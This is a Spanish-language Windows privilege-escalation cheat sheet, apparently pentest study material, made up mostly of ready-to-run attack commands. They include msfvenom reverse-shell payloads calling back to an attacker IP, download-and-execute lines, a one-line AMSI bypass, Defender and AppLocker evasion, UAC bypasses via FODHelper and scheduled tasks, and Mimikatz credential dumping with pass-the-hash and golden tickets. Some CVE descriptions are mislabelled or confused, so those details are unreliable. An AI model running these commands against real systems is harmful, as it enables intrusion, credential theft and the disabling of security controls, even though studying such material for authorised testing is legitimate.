Skip to content

Exploits de Kernel, Vulnerabilidades y Protecciones

Búsqueda de Vulnerabilidades de Kernel

WES-NG (Windows Exploit Suggester - Next Generation)

Se ejecuta en tu máquina Kali, NO en el objetivo (más sigiloso).

Instalación en Kali:

bash
git clone https://github.com/bitsadmin/wesng.git
cd wesng
python3 wes.py --update

# La base de datos se actualiza regularmente

En el objetivo - Recopilar información:

powershell
systeminfo > sysinfo.txt

Transferir a Kali:

bash
scp usuario@objetivo:sysinfo.txt .

Analizar en Kali:

bash
python3 wes.py sysinfo.txt

# Resultado:
# CVE-2023-29360 - PrintNightmare (Local Privilege Escalation)
# CVE-2020-0668 - UAC Bypass
# CVE-2021-1732 - Win32k Elevation
# ... más CVEs

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Vulnerabilidad en Windows Print Spooler

El print spooler corre como SYSTEM. PrintNightmare permite escalada local de privilegios mediante una vulnerabilidad en la función de gestión de drivers de impresoras.

Verificar Versión Afectada

powershell
systeminfo | findstr /i "build"

# Afectados (sin KB5004945):
# Windows 10 Build < 19042.1110
# Windows 11 Build < 22000
# Server 2016, 2019, 2022 no parchados

Verificar si Print Spooler Corre

powershell
Get-Service spooler

# Si State = Running → Potencialmente vulnerable
# Si State = Stopped → No es explotable

Explotación - Opción 1: PoC Compilado

powershell
# Descargar
iwr -uri http://192.168.1.100/PrintNightmare.exe -OutFile PrintNightmare.exe

# Ejecutar
.\PrintNightmare.exe 192.168.1.100 \\192.168.1.100\share malicious.dll

Explotación - Opción 2: MSFVenom + Metasploit

bash
# En Kali - Generar payload DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o shell.dll

# Configurar handler
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit

# En objetivo
.\PrintNightmare.exe 192.168.1.100 \\192.168.1.100\share shell.dll

Explotación - Opción 3: PowerShell PoC

powershell
# Descargar
iwr -uri http://192.168.1.100/PrintNightmare.ps1 -OutFile PrintNightmare.ps1

powershell -ep bypass
. .\PrintNightmare.ps1

# Ejecutar
Invoke-PrintNightmare -ComputerName localhost -DriverPath \\192.168.1.100\share\malicious.dll

HiveNightmare (CVE-2021-36934)

Vulnerabilidad en permisos de archivos del registro

Permite leer archivos del registro (SAM, SYSTEM, SECURITY) que normalmente están protegidos. No requiere privilegios especiales.

Verificar Versión Afectada

powershell
systeminfo | findstr build

# Afectados:
# Windows 10 Build < 19042.1052
# Windows 11 Build < 22000

Explotación Paso a Paso

1. Buscar directorio System Volume Information

powershell
# El registro backup está aquí (oculto)
Get-ChildItem -Path "C:\System Volume Information\RegBack\" -Force

# Deberías ver: SAM, SYSTEM, SECURITY, DEFAULT

2. Copiar archivos protegidos

powershell
Copy-Item -Path "C:\System Volume Information\RegBack\SAM" -Destination "C:\temp\SAM" -Force
Copy-Item -Path "C:\System Volume Information\RegBack\SYSTEM" -Destination "C:\temp\SYSTEM" -Force
Copy-Item -Path "C:\System Volume Information\RegBack\SECURITY" -Destination "C:\temp\SECURITY" -Force

3. Transferir a Kali

bash
scp usuario@objetivo:C:\temp\SAM .
scp usuario@objetivo:C:\temp\SYSTEM .

4. Extraer hashes NTLM

bash
python3 -m impacket.secretsdump -sam SAM -system SYSTEM LOCAL

# Resultado:
Administrator:500:aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

5. Pass-the-Hash para acceso remoto

bash
python3 psexec.py -hashes aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 Administrator@192.168.1.100

# Conectado como Administrator con acceso total

CVE-2020-0668 - UAC Bypass sin Privilegios

Permite ejecutar comandos como admin sin solicitar permiso de UAC

Verificar Versión Afectada

powershell
systeminfo | findstr build

# Afectados:
# Windows 10 Build < 19041
# Windows Server 2019 no parchado

Explotación - Método: SystemPropertiesAdvanced.exe

SystemPropertiesAdvanced.exe es un binario de Windows que puede ejecutarse con UAC elevado automáticamente.

1. Crear script malicioso

powershell
# O crear ejecutable que hagas lo que quieras
# Guardarlo como: C:\Windows\System32\srrstr.dll o similar

2. Usar herramienta precompilada

powershell
# Descargar
iwr -uri http://192.168.1.100/UAC_Bypass_CVE-2020-0668.exe -OutFile uac_bypass.exe

# Ejecutar
.\uac_bypass.exe "whoami"

# Ejecuta como admin sin solicitar UAC

Explotación - Método: DLL Hijacking via SystemPropertiesAdvanced

1. Generar DLL maliciosa

bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=8443 -f dll > srrstr.dll

2. Descargar al objetivo

powershell
iwr -uri http://192.168.1.100/srrstr.dll -OutFile "C:\Users\usuario\AppData\Local\Microsoft\WindowsApps\srrstr.dll"

3. Listener

bash
nc -lvp 8443

4. Ejecutar SystemPropertiesAdvanced

powershell
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

# La DLL se carga como admin automáticamente

5. Recibir shell como admin

nc -lvp 8443
Listening on 0.0.0.0 8443
Connection received from 192.168.1.100 50273

C:\Windows\system32>whoami
dominio\usuario (con permisos de admin)

CVE-2023-29360 - Windows Print Spooler RCE

Variante más reciente de PrintNightmare.

bash
# En Kali
git clone https://github.com/avinashkrg/CVE-2023-29360.git
cd CVE-2023-29360
make

# En objetivo
.\CVE-2023-29360.exe

# Debería dar acceso a SYSTEM

Búsqueda de Otros Exploits de Kernel

SearchSploit (Exploit-DB)

bash
# En Kali
searchsploit "Windows 11" kernel
searchsploit "Windows 10" privilege escalation
searchsploit "CVE-2023"

# Descargar por ID
searchsploit -m 50123

# O en línea
https://www.exploit-db.com/?type=remote&action=search&q=Windows%20Kernel

Compilar Exploits Genéricos

Si encuentras un CVE sin PoC compilado:

bash
# Crear payload ejecutable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

# O DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o payload.dll

# O shellcode C
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c > shellcode.c

UAC (User Account Control) - Bypasses

Verificar Estado de UAC

powershell
# Ver si está habilitado
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" /v EnableLUA

# 0 = Deshabilitado (no hay protección)
# 1 = Habilitado (protección activa)

# Ver nivel de prompts
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" /v ConsentPromptBehaviorAdmin

# 0 = No preguntar (escalado automático)
# 2 = Preguntar credenciales
# 5 = Preguntar consentimiento (default)

UAC Bypass - Usando Tareas Programadas

Las tareas programadas pueden ejecutarse como SYSTEM sin UAC.

powershell
# 1. Crear acción de tarea
$Action = New-ScheduledTaskAction -Execute "C:\temp\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$Task = New-ScheduledTask -Action $Action -Trigger $Trigger -User "NT AUTHORITY\SYSTEM"

# 2. Registrar tarea
Register-ScheduledTask -TaskName "WindowsUpdate" -InputObject $Task

# 3. Ejecutar inmediatamente
Start-ScheduledTask -TaskName "WindowsUpdate"

# Tu payload se ejecuta como SYSTEM sin UAC

UAC Bypass - Usando FODHelper (Features On Demand Helper)

FODHelper busca valores en registro ejecutables sin solicitar UAC.

powershell
# 1. Crear clave del registro que apunte a nuestro ejecutable
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d ""
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\temp\payload.exe"

# 2. Ejecutar FODHelper (se ejecuta sin UAC)
.\fodhelper.exe

# 3. Limpiar después
reg delete "HKCU\Software\Classes\ms-settings" /f

UAC Bypass - Usando SilentCleanup

Otro método alternativo basado en binarios confiables de Windows.


AppLocker - Restricciones de Ejecución

Verificar Estado

powershell
Get-AppLockerPolicy -Effective
Get-AppLockerPolicy -Effective -RuleType Executable
Test-AppLockerPolicy -Path "C:\Windows\System32\cmd.exe" -User Everyone

Bypass - Directorios sin Restricción

powershell
# AppLocker típicamente permite C:\Windows\System32
copy payload.exe "C:\Windows\System32\payload.exe"
C:\Windows\System32\payload.exe

Bypass - Usar LOLBINS (Binarios Legítimos de Windows)

Windows incluye muchas herramientas que pueden ejecutar código:

powershell
# CertUtil - descargar archivos
certutil.exe -urlcache -split -f "http://192.168.1.100/payload.exe" payload.exe

# BITSAdmin - transferir archivos
bitsadmin /transfer job /download /priority high "http://192.168.1.100/payload.exe" C:\temp\payload.exe

# HH.exe (Help and Support) - ejecutar scripts CHM
hh.exe http://192.168.1.100/payload.chm

# Regsvcs - ejecutar .NET
regsvcs.exe payload.dll

# InstallUtil - ejecutar .NET
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe payload.dll

# PSByPassCLM (bypass Constrained Language Mode)
powershell -Version 2 -NoProfile -Command "whoami"

Windows Defender - Antivirus Evasion

Verificar Estado

powershell
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, BehaviorMonitorEnabled
Get-MpComputerStatus | Select-Object AntivirusEnabled, AntispywareEnabled

Técnicas de Evasión

1. Guardar en zona permitida

powershell
# Directorios con exclusiones típicas
C:\ProgramData\
C:\Program Files\

2. PowerShell sin Write-Host

powershell
$url = "http://192.168.1.100/payload.exe"
$output = "payload.exe"
(New-Object System.Net.WebClient).DownloadFile($url, $output)
& $output

3. Ofuscación de código

bash
# En Kali - codificar comando
python3 -c "import base64; print(base64.b64encode(b'whoami').decode())"
# d2hvYW1p

# En PowerShell
powershell -EncodedCommand d2hvYW1p

4. AMSI Bypass (Antimalware Scan Interface)

AMSI analiza scripts en tiempo de ejecución.

powershell
# Desabilitar AMSI temporalmente
[Ref].Assembly.GetType('System.Management.Automation.Amsi').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Ahora ejecutar script bloqueado
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/script.ps1')

Windows Defender Exploit Guard

Verificar Estado

powershell
Get-MpComputerStatus | Select-Object IsVirtualizationBasedSecuritySupported, VirtualizationBasedSecurityStatus
Get-MpComputerStatus | Select-Object DeviceGuardSecurityServicesRunning

Secure Boot y UEFI

Verificar

powershell
Confirm-SecureBootUEFI

Post-Explotación Completa con Mimikatz

Una vez que tienes acceso como admin o SYSTEM.

Descarga:

bash
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
cd mimikatz/x64

Comandos principales:

powershell
.\mimikatz.exe

# Obtener privilegios de debug
privilege::debug

# Extraer TODAS las credenciales en memoria
sekurlsa::logonpasswords

# Volcado de SAM
token::elevate
lsadump::sam

# Kerberos tickets (movimiento lateral en dominio)
sekurlsa::tickets

# Pass-the-Hash
sekurlsa::pth /user:Administrator /domain:. /ntlm:5f4dcc3b5aa765d61d8327deb882cf99 /run:cmd.exe

# Golden Ticket (falsificar ticket de admin en dominio)
kerberos::golden /user:Administrator /domain:dominio.local /sid:S-1-5-21-... /krbtgt:krbtgt_hash /ptt

# Pass-the-Ticket
kerberos::ptt <ticket_file>

# Extraer credenciales guardadas
vault::cred /patch

Resumen de Escalada - Flujo Completo

1. ENUMERACIÓN
   ├─ whoami, systeminfo, Get-MpComputerStatus
   ├─ Buscar privilegios especiales
   └─ WES-NG para CVEs

2. BÚSQUEDA DE CREDENCIALES
   ├─ PowerShell history
   ├─ Unattend.xml
   ├─ Archivos de configuración
   └─ Aplicaciones que guardan credenciales

3. SERVICIOS VULNERABLES
   ├─ Binarios con permisos débiles
   ├─ Rutas sin comillas
   ├─ DACL débil
   └─ DLL hijacking

4. TAREAS PROGRAMADAS
   ├─ Identificar tareas
   └─ Reemplazar binario

5. PRIVILEGIOS ESPECIALES
   ├─ SeBackupPrivilege → SAM
   ├─ SeImpersonatePrivilege → JuicyPotato
   └─ SeTakeOwnershipPrivilege → Reemplazar binarios

6. EXPLOITS DE KERNEL
   ├─ WES-NG identifica CVEs
   ├─ PrintNightmare
   ├─ HiveNightmare
   └─ UAC Bypass

7. POST-EXPLOTACIÓN
   ├─ Mimikatz para extraer hashes
   ├─ Pass-the-Hash
   └─ Kerberos tickets